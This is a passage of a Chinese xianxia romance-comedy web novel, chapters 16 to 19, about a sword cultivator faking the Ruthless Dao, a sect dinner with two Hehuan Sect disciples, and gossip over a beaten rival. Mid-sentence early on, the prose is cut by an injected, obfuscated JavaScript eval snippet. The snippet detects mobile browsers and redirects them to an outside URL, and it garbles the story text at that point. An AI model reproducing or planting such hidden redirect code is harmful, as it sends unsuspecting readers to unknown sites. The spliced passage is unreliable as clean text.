可别提杨胖子贪玩了,洛云晚都不知道自己和他赌赛输给了他多少灵石!她倒也希望对方好好修炼,少花功夫研究对决哪一方胜算更高! 洛云晚刚和身边人一同坐下,又见明静小师叔抿了口茶,威严的神情舒缓了些,抬眼问道:“这便是你的好友?看上去风姿卓越,仪表非凡。” 花榭笑颜灿若桃花:“前辈过誉了。” 徐鹤卿起身向她行礼,声音从容:“承蒙尊师嘉许,在下不敢当。” 洛云晚和花榭一并扭头去看他,眼神里满是惊异:? 哎! 不是哥们,你咋跟来了?!蹭饭啊! 趁着明静师叔视线移开,花榭脸色沉下来冷冷问徐鹤卿:“师兄跟来做甚?” 徐鹤卿斜斜瞟了他一眼:“哼。我倒要看看你要闹到何时。” 花榭没搭理他,只是又转身抓住洛云晚的衣袖,抬眼用气声问道:“你方才御剑没发现他么?” “没……”洛云晚也懊恼,悄声道,“刚刚光顾着寻路了,要是早发现就多绕几个弯把他甩开了。” 她眼珠一转,又问花榭:“你不是也在我剑上么?你没发现?” “……”花榭却是一怔,唇瓣张了张,脸颊泛起红晕来,慌忙转开视线道,“好了,他来便来了。” “?”洛云晚一头雾水,伸手想把他拉过来再问问,结果花榭袖子一甩,又把她的手给拂开了,只能见得他侧头时绯红的耳尖。 她回想起方才的场景:因为花榭不认得路,她便提议让他踩上自己的本命剑,到她身后捏着她的衣摆站稳;之后便是极为正常的御剑飞行,只是她偶尔侧头与他交谈时,发丝和帷帽的白纱会无意擦过他挺翘的鼻尖,视线也会撞进一双剪着春水的眸子。 难道是羞了不成。 他不是合欢宗的小少爷嘛,怎还会因她无意的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407260|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而局促?洛云晚心想着,很快便抛开了这个无稽的念头。 …… 凡间话本里大多称修仙之人修炼辟谷,对饮食并无确切需求,但其实这话说得错了。修士闭关打坐时动不动就是几年往上,这期间因灵气入体充盈,自是不会有饥饿之感;可若是平常日子……谁会拒绝一顿突如其来的清蒸鲈鱼呢! 洛云晚美滋滋夹了一块最鲜嫩的鲈鱼,鱼肉沾上餐碟中的酱汁,细嫩又剔透,她一口就能吞下。 毕竟修仙还有一种类别是食修呢。临仙派没有这个专业的弟子,公开食堂又超难吃,这导致她每次看《仙门小报》都会被“食修品鉴”一栏馋得不行。 所幸在门派里师傅明虚真人的手艺可算一绝,做的菜肴鲜香又可口,一顿一顿把她们这些嗷嗷待哺的小孩儿喂到大。不过很可恶的一点是,等到洛云晚长大后口味被养刁了,师傅他老人家反倒当上甩手掌柜不干了,说什么“逍白以前一直说自己要当贤惠夫君,之后交给他练练手!” 谢逍白“哎!”的一声,喝醉酒吐的胡话被师傅爆出来不说,还稀里糊涂接了师门四口人的饮食活儿。 这之后不知拿洛云晚和贺鸢试了几十回“毒”,谢逍白的手艺也才算是练了起来。 ——而且贺鸢因为修炼了无情道食欲消减吃得不多,这期间大多的诡异菜品都进的是洛云晚的肚子,惹得她那一阵子看见谢逍白就想打呕。 “吃啊。”谢逍白端了一盘菜坐在她身边,像是看出了她的心思一般,“咚”的一下就敲到她脑瓜子上,笑眯眯,“你面前的炸小鱼就是我辛辛苦苦炸的,师兄我如今的手艺可是让一众食修都羡慕得不行。” 洛云晚猝不及防被他敲了一下,喉咙里的炸鱼都差点呛出来,转头瞪了他一眼,面上却咬牙极为清冷道:“师兄辛苦。” “哦哟。”谢逍白刚想笑她装,余光又突然看见她身侧的花榭和徐鹤卿,才想起她还假装着无情道的人设,又得趣招呼花榭,“小花也尝尝看,看看师兄做的合不合你的口味,我们家小云晚可是吃得不亦乐乎。” 花榭漂亮的眼睛眨了眨,先是一呆,然后唇角溢出一丝笑,握着筷子夹起一块炸小鱼:“好。” “嗒”。 徐鹤卿碗筷一放,神情严肃冷淡道:“别乱称师兄,乱了关系。” 谢逍白愣了愣,低头朝洛云晚对口型:“他有病啊?” 洛云晚心下一烦,扭头又夹了一块炸小鱼,伸长手丢徐鹤卿碗里:“人,你也吃。” 徐鹤卿整个人如同脑子被清空一般瞬间呆滞,冷峻的神情都维持不住,嘴唇张开,连声说道:“你你你……” 洛云晚被他的反应逗乐,扭开脑袋偷笑,结果自己右边的衣摆却是被人一扯。 她扭头,花榭水润润的眼瞳向上仰望着她,殷红薄唇被牙轻咬,皱眉瞪她,又轻声道:“干嘛给他夹啊……我也要。” 真漂亮。因为眼中并无愠色,所以瞪向她的时候倒更像是埋怨。 洛云晚转开视线,也夹起一块金黄酥脆的炸小鱼放到花榭碗中,轻声道:“猫,你也吃。” 啊,遭了,念顺口了。 “什、什、什么猫啊!”花榭面颊一下子爆红,眼瞳水色更盛,唇瓣微张,结巴道,“你你你……” 17、第17章 明远师伯风卷残云般吃过三碗饭后,拍拍圆滚滚的肚子站起身就去拉明虚真人的衣摆,边扯边说道:“走,师弟,去你仙居打牌!” “莫慌莫急,”明虚真人夹起一片菜叶胡乱刨了两口饭,拍拍衣服含糊问,“阿绵要不要随我们一起来?” “……不了,师兄。”明静师叔板正神情从容喝汤,“这次输光灵石莫要再找我借了。” 明虚真人小老头般捋捋长胡子,开口直笑:“哦呵呵……怎会怎会。” “哎,”谢逍白用手肘推了推洛云晚,捧着碗挑眉小声道,“师傅在尴尬。” 洛云晚眼睛一亮:“这你都看得出来?” 谢逍白狐狸眼眯起:“因为我每次没钱了也这反应,哦,我观察过,你也是。” 洛云晚:…… 她悄悄朝谢逍白翻了个白眼,扭头便将汤里的鸡腿捞到碗中,自顾自吃上了。 因为在自家宗门,一同赴宴的除去徐鹤卿外都是熟人,洛云晚便懒得装什么无情道没食欲;打算若真是被徐鹤卿问了,便用搪塞花榭的那一番话同样搪塞回去。 只可惜,徐鹤卿因为之前被她往碗里丢了一块炸小鱼后,身子僵硬脸色冰冷,一眼都没再往她这儿看,让她少了好些乐子。 花榭倒是意外地十分乖。 他的吃相也十分优雅,捧着碗端坐着,时不时伸筷子夹些菜,再小口小口吃。 他好像很喜欢她面前的菜,洛云晚发觉。无论是油的炸小鱼还是甜的糖醋里脊,他都很频繁地歪过身子凑到她身边夹菜。 乖顺墨黑的长发总是扫过她抬起的右手臂,毛茸茸的脑袋在她眼前晃啊晃,下一瞬,他身上与桃花类似的香味就飘进了她的鼻尖。 洛云晚轻咳一声,想来也是顺手,便端起菜盘子叠到他那边,淡声从容道:“吃吧。” “……”花榭扭头上下打量了她一番,嘴角抿了抿,一句话不说又转过身去了。 洛云晚搞不明白。谢逍白却是在一旁看得津津乐道,狐狸眼得趣眯起,身后高马尾摇摇晃晃:“可惜呀可惜呀……” “可惜啥?你想吃吗?”洛云晚转头舒展眉头,好言相劝,“你让让花榭,人家是客人。” …… 吃过饭后,明静小师叔提着剑去道场巡视,谢逍白又极其自觉地收拾了桌子去后厨洗碗。说是洗碗,但也并不麻烦,念一个入门的洁净咒便行。 空荡荡的仙居院子里又只剩下洛云晚三人。 小师妹贺鸢走过来打了个照面,稚嫩冰冷的眼瞳好奇地在花榭身上打着转,然后又看见了一旁端坐的徐鹤卿。 徐鹤卿也看见了她,神情板正冷冽,剑眉微皱,墨黑的眼瞳直直盯了回去。 贺鸢眼神却是少见地亮了亮,双手捧着茶杯凑过去,把头仰得高高的看向他,淡声问:“你也修了无情道么?” 她眼里带着些许的期盼和探究,似乎是终于找到同道中人一般。 “啊不,”洛云晚替他回答,“他合欢宗的,掌门大师兄。” “欸?”贺鸢歪头,小小的脸蛋上明显透露出一层疑惑不解,随后边摇头边沉闷地回居所了。 对不起啊小鸢,如今和你一起修炼无情道的只有你师姐这个冒牌货,哈哈。 洛云晚在心头尬笑,却听一旁的徐鹤卿冷淡开口:“哼,无情道有什么好的。害人害己的心法,真是可惜了一个剑道好苗子。” ……喂,不要动不动诋毁别人的专业啊!就算真的是天坑也不该你一个外人来吐槽吧! 我们无情道怎么你了! 洛云晚一肚子话还没吐出来,花榭便用长袖掩着唇轻轻笑道:“你面前这位洛师妹便是修的无情道。” “说过了不要乱了称呼。”徐鹤卿冷声呵他一句,继而神情一愣,看向洛云晚,“嗯?……你修的无情道?” 被对方冷冽探究的眸子盯着,洛云晚做贼心虚,生怕在合欢宗修士的眼里露了馅,轻咳一声道:“没错。” 身边的花榭轻轻笑了一声,像猫一样颤了颤肩膀,像是很兴味,也不知是拿她看乐子还是想让他师兄吃瘪。 这边洛云晚本以为徐鹤卿会冷哼一声再板着脸说教她“这个专业没前途”,不料对方却冷冷转开视线,对花榭道:“合欢宗弟子少与无情道纠缠不休,我劝你早日断了心思。” 花榭闻言眉头蹙起,面上兴味的笑容淡去,拂袖又讥讽道:“呵,师兄这会儿倒是关爱上师弟了。” “少看凡间话本,”徐鹤卿置若罔闻,垂眸低骂一声,“无情道没一个好东西。” 洛云晚:……?找茬? 她的动作一滞,扭头去看他,平淡开口:“你对无情道有偏见?” “……”徐鹤卿没搭理她,只是无言整理自己规整的衣领,站起身对花榭道,“你也闹够了,随我回去。” “不要。”花榭水色的眼瞳一转,唇瓣抿起,转头直勾勾盯着洛云晚道,“我与她还有事要说。” …… “嗯?什么事。” 夜风拂过云海,掀起层层银浪。尘清宫的露台遥遥悬在仙山高空,仿若一块浮在星河廊桥间的墨玉。 洛云晚斜撑在雕花玉栏上,指尖无意识摩挲着栏杆上蛟龙腾舞的纹路。她侧过头懒懒问了一声,脑后的高马尾在夜风中潇洒飞扬。 她那分明肆意洒脱的样貌却是面带冷色,让人会不自觉想象她做出快意自在的神情时会有多夺目。 花榭站在廊边抬眼望她,薄衫长袖被风鼓起,像是展翅的蝴蝶。 一旦与她单独相处,他的神情便不似方才那般兴味从容,偏偏夜风扰人,露台上的白衣黑发吹得飘扬,让他仓促移开了视线。 “今日之事……”花榭咬了咬唇,低低说道,“多谢。” 他指的是在他被众多修士诬陷辱骂时她挺身而出牵着他的手腕带他逃离;也有在遇见师兄时她挡在身前邀他赴宴。 这之前……从未有人对他这般做过。 同师门的大师姐在他有意识那会儿便已失踪;大师兄冷清死板,待他如待一件棘手的麻烦事;小师姐风流潇洒,整日醉梦温柔乡,几天都见不着人影;宗主也自他之后再未收徒,如今闭关已有些许年头,因此与他关系并不亲近。 终归是合欢宗的少宗主,花榭生得欲色动情,修为也日渐加深,从小几乎没受过什么委屈。他少时的性子还不是这样,也有过三两个付之真心相待的友人——直到有日与一众好友赴酒宴时,曾被他视为挚友的修士喝醉了酒,一改往日憨实面容,面露垂涎便欲对他上手。花榭冷声慌乱制止他,却从那人烂醉的口中听到“谁与你交好不是图这张色相,合欢宗的装什么不清不楚”。 宴席上传来一众好友的嬉笑声,那修士得了支持,又伸手扯上他的衣袖。 ……然后,花榭凌乱着碎发单手凝决,指尖荧芒一闪,水润眸子颤动着,未等那“挚友”及他身侧,便硬生生砍掉了他的右臂,血肉溶烂间,也掀了这满目的八珍玉食。 这此后,他的性子变得恶劣轻狂,他的仇家多了,图他色相之人依旧不减,可他再没有以真心待过谁。 但是洛云晚不一样。花榭又抬眼看过她一瞬,默然想。 她修了无情道……而且对他也没兴趣。她拒绝了他,尽管那次是自己的酒后失言。 她或许是纯然将他看作一位偶然结识的友人罢。 而他却在面对她时有了……异样的感觉。 明明毫无可能,他却贪恋在她身边的安心感和愉悦。 真贪心,他才是笨蛋……混蛋。 花榭眼瞳中流光一闪,又走到露台,颤着眸子去瞧她,依旧清冷的神情。 “你此前帮过我许多,”他的声音像猫一样小了下来,尾音却轻微上扬着,“本少爷也该有个回礼才是。” “啊不必,”他听见身边的剑修平淡无比的声音,“于我都是顺手的事,我自愿的。” 他转头去看,那白衣剑修双手抵在青玉栏杆上,正捧着脑袋仰头看星空,碎发在她耳鬓边翩飞,向来冷冽的嘴角似乎勾起了些许。 花榭抿唇,声音未经察觉便软下几分:“那本少爷也是自愿……自愿赠予你的,你得收下。” ……然后,那潇洒恣意的剑修回过头来,冷色的眼眸中闪过一丝揶揄,朝他伸手又开口道:“那好啊小少爷,给我吧。” “你、我……”花榭脸色莫名又烫了几分,咬唇瞪她,突然又像下定决心般抓住她的手,指尖如游鱼般灵动轻点,在她掌心上漫出点点青绿色的荧光。 荧光逐渐充盈,钩织出一盏圆圆的透明球体,球身映着漆黑夜色泛起略略青芒。随着花榭指尖灵气尽数倾泻,圆球落入她张开的掌心中央。 洛云晚似乎从未见过这样的法诀,她的眼神少见地亮了几分,淡声带着惊异道:“这是何物?” “护身法盾。”花榭一笑,声音里带着愉悦,“你且将灵力注入它,之后遇了危机,心下感知其便能召出护盾,大概……能抵挡较你修为略高一级的攻势。” “这般厉害。”洛云晚高马尾晃了晃,抬手便将灵气引出,浅色的荧光歪歪扭扭没入青绿圆球,像是装在酒壶中荡漾的酒水。 “见笑,不常外显灵气。”她轻轻笑了一声,垂下眼睫新奇看掌心球体,忽而又抬眸问花榭,“可以对它外形做些变化么?” 花榭歪头,潋滟的桃花眼眯起,兴味笑道:“自是可以,说吧,本少爷为你捏便是。” “啊这里,”洛云晚指了指青绿小球的脑袋顶,极其自然道,“我想要一对猫耳,会让我想起你。” “猫、猫耳?……你!”花榭的耳根瞬间滚烫,烧得他慌乱扬起下巴,不敢直视洛云晚含着笑意的眼睛,只是“唰”地抢去她手中的圆球用指尖掐了两下,又飞快甩进她怀里,尾音颤颤,“好了自己收着罢!本少爷走了!” 他慌乱快步离开,飞扬的黑发夹带着桃香扫过洛云晚的颈间。 “……”她本想再与他聊一会儿呢。 洛云晚垂头看从怀中接过的小圆球:青绿的球身满载着她浅白色的灵气,脑袋顶被人胡乱掐了两个尖角,看上去倒很像小猫竖起的耳朵。 可爱。 18、第18章 是夜。 山风卷过尘清宫蜿蜒的屋檐,也将洛云晚的素白广袖吹得猎猎作响。 她挺直了身子站在宫外的山崖边。月色从云雾间浮现,皎洁的月光洒向崖下的一片青郁。站在她身侧的人双手落在背后,神情平静看向面前翻涌着云海的群山。 那人声音淡淡,未生波澜:“我已知晓,你并未修炼无情道。” 话音落下,一只青鸟挥振羽翼掠过山崖,传来渺远的鸣啼。 洛云晚转头看过去,高马尾随着她的动作轻晃。 随后…… 她面上紧绷的表情却忽地一放松,哭嚎着嗓子就屈腿去扯那人的衣袖—— “小师叔——!”洛云晚苦闷道,“这些日子憋得我好苦哇——” 她怪叫声音还没终止,脸上神情又忽地一变,明目亮晶晶望过来:“……等等您是如何知道的?” 身侧的明静师叔眯眼看她飞快变脸,自己严肃的神情一消,似是调侃又似嫌弃地拨开她的手,薄唇上挑勾出嘴角两侧的皱纹,从容的声音中带着怡悦:“方才去看你师傅与师兄斗牌,他嘴里兜不住话,我刚一提你的名字,便尽数告知于我了。” ?师傅你个大漏勺! 洛云晚愤愤咬牙,面上却一副委屈样儿道:“小师叔……我真装不下去了,师傅他老人家还说、还说至少得等仙门大比结束!我可怎么办哇……” 她前日因此事去找过明虚真人:一是觉得假装无情道的成本太高了,又要记自己没读过的心法又要表情管理,而且还在《仙门小报》最新一期的杂谈栏上看见了“临仙派的洛云晚是毁容了么,面容好扭曲啊”的帖子……她那是在憋笑啊可恶! 这第二点呢,便是她有些少见地担忧起之后事了。生出一个的假象若是被人察觉,便得用更多的谎言去弥补,而当已经找不出新的理由来圆谎时,一切堆积而成的假象宫殿便会轰然崩塌。她不知与她交好之人得知了真相后,是否会和她产生嫌隙。 等她如实一并交代后,明虚真人舞剑的动作一停,略一摇头便对她道:“唉,事已至此,为师暂且也没有好法子,只能待仙门大比结束后,你再宣称不适应心法,改回原来的罢。” 洛云晚:“那我现在就官宣。” “哎!”明虚真人慌急慌忙拉住她的袖子,“再坚持几日,你如今连胜两局,在各大仙门中话题度很高,一举一动都会受人关注。现在坦白,恐怕更容易露馅……而且,掌门知晓你改修无情道后让你多多展示风采呢!” 后面半句才是重点对吗师傅。 洛云晚嘴角一瘪,闷声道:“那便如此吧。” 再忍忍。等大比结束她立刻满修仙界宣布不再修炼无情道,然后该吃吃该喝喝,重回原先的平静生活,直到她的一连串热搜被人忘记。 至于花榭那边,先好生解释一番,再请他喝上几顿酒,应该也就没事了吧。 以后二人还是好友,还可以一同出游玩乐,她也不必对他再装冷淡疏离;到时候喝酒喝到尽兴了,还可以揽着他的肩套出些合欢宗的八卦来听听……想想真不错啊。 “……”夜风轻抚过发梢,洛云晚的思绪被明静小师叔的话语声拉回,对方望着夜空,皱纹攀上眼角:“其实方才你师傅也告知我了,他说当初要你以无情道当噱头扬名想来是他不对,你若是真的累了倦了,那便不必再装,这之后的谣言蜚语他替你扛了便是。” “咳,我再维持几天罢,”洛云晚有些别扭飞快眨眼,泪花汪汪,“没想到师傅竟这般在意我,我真该去好好谢谢他。” “你改日再去吧,”明静扯着衣袖把她拉回来,平淡道,“他如今正和你师伯斗牌斗得面红耳赤呢。” 洛云晚:…… 山崖远处有几点萤火幽幽浮动,忽明忽暗徘徊在夜色里。明静双手背于身后,声音微沉:“我叫你过来倒不止因为这事。今日宴上坐在你身边的少年是合欢宗的那小子罢。” 洛云晚点头应声:“是,他名叫花榭,是我前些日子结识的好友。” 明静侧头看向她,威严的眸子凝了凝,似是想起了些许旧事,又对她轻笑一声。 …… “你应该是动情了。” “没、没有!”花榭长袖一扫,眸子水润,脸颊飞快烫灼,偏偏还冷声呵道,“动情与否我自己岂会不知?师姐莫要故意取笑我!” “呵呵……”梁苡秋侧身坐在一位清隽男修怀中笑得花枝乱颤,尖尖的指甲虚空点了点花榭的鼻尖,嘴角愉悦勾起,“怎会是取笑呢?动情是这世间最美妙最令人痴迷沉醉之物呢,对不对,嗯?” 她边说着,又边抬手挑起身下男修的下巴,如愿在对方冷峻的面容上看出克制忍耐的神情来。那男修吞咽一声,别开脑袋哑声道:“唔……小秋,别闹。” 梁苡秋没理会,只是柔柔躺进他怀里,指尖勾着那人垂落的发丝把玩,看向花榭懒洋洋道:“我们合欢宗的被无情道迷住那是人之常情呀,你还年轻,尽情去试试看,等到了你师兄这个年纪了可就……呵呵。” “咚”。 徐鹤卿放下茶杯,冷眼盯着梁苡秋,沉声道:“师妹若是不愿谈论正事,那便请回吧。” “嘁。”梁苡秋,也就是花榭那风流成性、整日不见踪影的小师姐嘴角一撇,嘟囔一声道,“死木头,无趣。” 徐鹤卿脸色阴沉没搭理她,转而看向花榭开口道:“你不愿让洛云晚的身份暴露出来、将她牵扯进你们的恩怨中是么?” “……嗯。”花榭咬唇,垂眸盯着仙居地板道,“这本就与她无关。” 徐鹤卿冷哼一声,端起茶杯抿过一口:“知道都因你而起便好。” 梁苡秋却上挑着声音柔柔问道:“洛云晚便是那姑娘的名字?她人怎么样?既然是能让我们小少爷都动情的女子,就算是无情道也得是性格为人极好的吧。” “都说了没有动情!”花榭皱着眉,末了又极为轻声道,“她待我如好友……人很好……” “原是如此呀。”梁苡秋的指尖轻轻划过身下男修的衣衫,打趣道,“那你多多与她相处,时不时示弱一下,再来一点肢体接触,渐渐的友情就变质咯——那些笨蛋剑修最吃这一招。” “果真吗……”花榭咬唇小声念叨,抬眼却对上梁苡秋兴味的目光,脸一下子涨红,连声道,“师姐你还是谈正事吧!” “呵呵……”梁苡秋手指掩着唇,笑得如同红毛狐狸,勾着那男修的脖颈漫不经心道,“要师姐说啊,这算什么事?不就是对决伤了人嘛,刀剑无眼,法诀也不长眼睛咯。至于他们说你言语歹毒,那又何妨?私人恩怨呗。” 徐鹤卿冷冷打断道:“可事实是,当场无人听见陆奉出言不逊,所有修士只见得花榭使了狠招中伤对方,然后用言语讥讽挑衅。师弟的名声本就不好,如今听海门咬定了是他的过错,非要合欢宗赔礼道歉。” 花榭开口道:“他是掐法诀近身于我时说的,摆明就是认为我拿他没办法……我气不过。” “……”梁苡秋抬眼凝视他片刻,继而又柔媚笑道,“师姐信你,等道歉时你语速快些,夹杂几句骂人的话解解气……哦,若是被人察觉,莫要说是我指使的,呵呵。” “小秋,胡闹。”搂着她的那男修蹙眉轻声斥责,难得开口对花榭好言相劝,“花师弟还是好生道歉罢,此事也不算大,服个软认个错,往后别记在心里便是。” 他天青色的仙袍略略被解开,衣衫褶皱叠在身上,但依旧能看出是天机阁的道服。 天机阁主法修,以星象预知未来,占天命卜吉凶,人世间的算命铺是其外门弟子就业的好去处;若是修为更高些,以灵力沟通星象,以修为寿元为引,往往战力惊人。而天机阁也因其献祭阳寿的心法而被一众修士避雷,常年来招收得到的弟子并不多,据说门派内好些弟子都是阁主长老下凡捡的小孩儿。 花榭不认识眼前男修,但能从其身上不菲的衣着玉饰看出他地位不低,闻言便只是抿唇,没有吭声。 梁苡秋却好似被那男修的态度惹怒,尖长的指甲勾住那人的下巴,又嗔怒地制住他欲阻拦的手,指尖向上游走,抵在他微启的唇瓣上,娇声呵道:“秦霁川!这是我们合欢宗的内部茶会,谁许你插话了。” 那秦霁川面颊被她撩拨地泛起薄红,唇瓣擦过她的指腹,闷声道:“好了……知道了。” 徐鹤卿看着他们脸色沉沉:“并非茶会,看样子也并非‘内部’。” 他又转头问花榭:“总之,明日随我去一趟听海门的仙院罢。” 花榭水润的桃花眼低垂着,没有应声。 “既然如此,那就当作解决咯?”梁苡秋语调上扬,搂在秦霁川的怀里冲他们娇柔挥挥手,“我还有事,先行一步呀。对了,小师弟你若是为情所困,可以找师姐为你解惑哦——虽然不一定找得到就是了,呵呵。” 徐鹤卿眸子深沉,语气毫无波澜:“……赶快出去。” “啧。”梁苡秋低低骂了一声,被秦霁川抱到仙居门口时却突然转头,眼神一晃看向花榭,“对了,阿川方才替你算了一卦,说下次对决你要万分小心……哎呀鬼知道准不准呢,你注意些罢,要是不灵到时候我好好惩罚他一……诶!” 她被搂着的秦霁川颠了颠,尾音一抖,下一秒,门被人带上。 仙居内再次只剩下花榭与徐鹤卿二人,气氛一瞬间重新降至冰点。 心中有万千思绪流转,花榭脑袋轻垂着,双手紧握,指甲生生陷入肉中,许久才沉然开口道:“……师兄,我不愿向那人道歉。” 徐鹤卿一身黑袍规矩整齐,整个人都显得冷淡而不近人情,冷哼一声问:“你为何总是这般冲动,不计后果?对决时受了辱忍一时又如何?如今道声歉又如何?” 花榭咬牙,沉闷道:“那些话你若是忍得了那便忍罢,忍他个百年、千年、一辈子。” 徐鹤卿墨瞳暗沉:“那陆奉究竟与你说了什么?” 案几上的灯盏暖光斜斜在屏风上洇出剪影,迎着他冷淡的视线,花榭上挑的眼睛眯了眯。 “许久未见,靠双修堆出不少修为是吗?合欢宗的下贱胚子哪会正经招式,床上功夫才是看家本事吧?呵呵……”花榭抬眼挑眉,眼瞳中水色闪烁,嘴角勾起,漂亮的面容笑得讥讽,“嗯?七年前在酒宴上邹衡便是这般与我说的,陆奉也在,我们是‘旧时好友’啊。哦,师兄贵人多忘事,只记得之后拉着我去找邹衡赔礼了吧。” “……” 夜风吹过仙居的垂落的帘幕,凉意抚过花榭纷飞的墨色发丝,也卷走了他颤颤的尾音。 徐鹤卿垂眼看向身前人,随着岁月的交替,他的面容愈发昳丽靡艳,性子也越发张狂任性。这一切,他记得就是从七年前的一场酒宴,花榭砍断了挚友的右臂开始的。 他那时顾不上这个被宗主强塞给他的小师弟,也从未过问约束他的人际关系。 直到那日匆匆赶到酒楼,徐鹤卿见到他那个一向安静乖顺的小师弟,正站在满目狼藉中笑得颤抖失神。 当天酒宴的一众修士一看见他便叽叽喳喳围在他身边要合欢宗给个说法,一问皆是称花榭“吃酒发了疯,砍断了挚友的右臂”。 这之后…… “知道了。”徐鹤卿沉着眼眸望过花榭一眼,转身离开仙居,声音冷淡,依旧不生波澜,“那便不去吧。我来解决。” 19、第19章 第二日,清晨雾气尚未散尽,尘清宫院落中的石桌上还凝着一层薄露。 “小云晚!”谢逍白坐在石凳上翘起二郎腿得意又自在,手里捏着一块法器,冲刚刚走到院子中的洛云晚挑一挑眉,兴味笑道,“猜猜昨夜发生了什么大新闻?” “唔……”洛云晚懒懒打了个哈欠,揉揉眼睛问道,“什么?难不成是丹修对决炸炉炸了个大的,把临仙派训练场炸崩了?” 谁上学的时候不会幻想一觉醒来学校爆炸呢,哈哈。 “想得美。”谢逍白灼灼的狐狸眼弯起,笑骂了她一声,又如实交代道,“听海门的二师兄被人打了!” “嚯。”洛云晚“铛”的一声把本命剑放桌上,闲闲到他身旁的石凳子上坐下,“那是谁啊?为啥?” 谢逍白吊儿郎当地把手中法器往空中一扔,又“啪”地抓到手中,五指展开将其递给洛云晚:“你自己看。” “耍什么帅。”洛云晚白了他一眼,伸手抓过小巧精致的镜面法器仔细端详。 雾蒙蒙的镜面随着她摇晃的动作逐渐清晰,流光荧荧又透露出数列规整的字迹来:“惊!听海门陆奉今日竟鼻青脸肿出现在太虚丹阁,这究竟是道德的沦丧还是人……” “嗡”。 洛云晚猛地摇摇法器,将镜面上的鎏金字迹尽数抖落,又了无兴致把它交还给谢逍白,边还边说:“没兴趣。说不定人家摔了呢,现在的头条越发没意思了,尽是标题党。” 谢逍白没反驳,只是耸肩欲接回法器。 “咔。”他伸手从洛云晚手中一扯——没拽动,反而自己的手腕被扯得清脆响了一声。 他“嗯?”了一声,挑眉看向她。 “等等。”洛云晚眸子一凝,硬生生把法器重新拽回来,嘴角略微勾起道,“我突然觉得有点意思。” 谢逍白:“……玩我呢?” 洛云晚没来得及搭理他,手腕急匆匆又晃动法器,直到镜面重新浮现出那鎏金色的数列小字。 陆奉。 她好像记起了这个名字。 不是那日与花榭对决先出言侮辱后又倒打一耙的人嘛。比起他的一番话,洛云晚当然更信自己朋友的了。 她当时还说之后在路上遇见了要狠狠揍他一顿,谁料一夜过去,对方已经被人打了呢。 洛云晚轻笑两声,也翘起个二郎腿,边看边在嘴里小声哼着歌,愉悦得不行。 那夸张炸裂的标题过后,翻页便是模糊的修士映像。一张侧身的抓拍,穿着的便是听海门的仙袍,虽然在古铜色的镜面上看不真切,但洛云晚至少知道,没有修士的脑袋瓜会有这么大。 真够狠的啊,快跟她下手差不多了。 再翻页,是一些修士的实时讨论: 【陆师兄这么光风霁月的人怎会被打?那无耻贼人究竟是谁!】 【心疼陆师兄,被揍成这样还一个人去丹阁,他真的我哭死。】 【光风霁月个屁!真当他做的龌龊事无人知晓吗?私信扣壹我必回】 【诸位道友莫要相信那人所说,我找他了,他问我五十灵石要不要一张春宫图】 洛云晚:…… 这都说些啥啊。 她满脸黑线唰唰翻动法器,直到—— 【昨日陆奉与合欢宗的花榭对决起了纠纷,该不会……】 【是呀,那花榭也是个睚眦必报的!不过看了昨日对决,陆奉修为只略逊他一筹,打不到这么狠吧?】 【莫非是合欢宗的其他修士?这次的带队大师兄是谁来着?好像叫徐鹤卿?】 随后一条署名为“鹤”的留言被翻出:【徐鹤卿没有打陆奉,我不是徐鹤卿。】 洛云晚:……这就是你吧。 “你认为如何呢?”谢逍白撑着下巴倚在石桌上,兴致勃勃问道。 “哈,”洛云晚勾唇一笑,晃晃脑袋,“是谁不重要,总之,打得好。” 谢逍白又笑:“先别光顾着乐了,你的话题讨论度也不低。” 洛云晚“诶?”道:“我又怎么了?天杀的,我这几天安分得不行!” “‘昨日仙法对决结束后拉花榭走的那人该不会是洛云晚吧?’……诺,说说看,你又干了啥。”谢逍白闲闲把玩着法器,精致的镜面在他掌心间翻转如蝴蝶,冲她扬起下巴,“白衣、佩剑、冷脸,纱帽。” 洛云晚:“你才纱帽。” “……是不是有病。”谢逍白嘴角一抽,又调笑道,“我就说你昨日为何会带花榭回来,原来这背后有这么一桩大胆事啊。” “就是我,”洛云晚神情平静,“我愿意。” “噢——”谢逍白拖长语调,忽而又侧倾身子把法器杵到她面前,“可是这人说——肯定不是你。” 洛云晚惊愣抬眼: 【那人并非洛云晚,昨日四强赛后我与她在仙居庆贺,诸位道友勿听信传言。】 再一看留言署名,“鹤”。 “徐鹤卿?”洛云晚歪头发问,“他为何要为我澄清?我没觉得有所谓啊。” 谢逍白摇头,表示自己也不清楚。 “不管了。”洛云晚长袖一扫站起身来,高高束起的马尾活泼地飞扬,迈步就走,转头又笑意盈盈道,“大师兄。” 谢逍白起了一身鸡皮疙瘩:“嗯?叫我作——” “唰”的一声,搁置在石桌上的玄色本命剑腾空而起,破空飞至洛云晚身侧,又被她单手潇洒握住。 “叫我的本命剑呢。”洛云晚背对着他挥挥手,“练剑去了。” …… “多谢师姐指点,受益颇丰。” 午后斜阳暖照,将一高一矮两道影子在山间碎石路上拉得狭长。贺鸢将比自己人还要高的剑柄抱在胸前,侧头对洛云晚轻声道。 洛云晚见她扎着两个圆圆的丸子头,稚嫩脸颊上的神情却冷淡严肃,不由得笑嘻嘻伸手揉她的脑袋:“剑修最忌讳厌倦,若是有十年如一日的心态,小鸢你干什么都会成功的。” 贺鸢轻轻朝她点头,又小声问了一句:“师姐有过厌倦吗?” “多多少少有吧,我累了烦了就去喝酒玩乐,耍痛快了再练。”洛云晚笑得露出唇边两颗虎牙,“嗒嗒”又拍了两下贺鸢的肩膀,“师姐我这么多年见过的彻头彻尾的剑痴仅你二师兄一人,对于人家的成功我屁都不放一个……哦,你那时还小,现在应该不怎么记得他的恐怖了吧。” 贺鸢沉沉应了一声:“已经好些年没见二师兄了……啊,师姐,我到了。” 她如幼鸟展翅般朝洛云晚挥挥手,又抱着剑快步跑回仙居。 洛云晚无言注视她小小的身影消失在烟云缭绕的居所中,又转身往回走去。 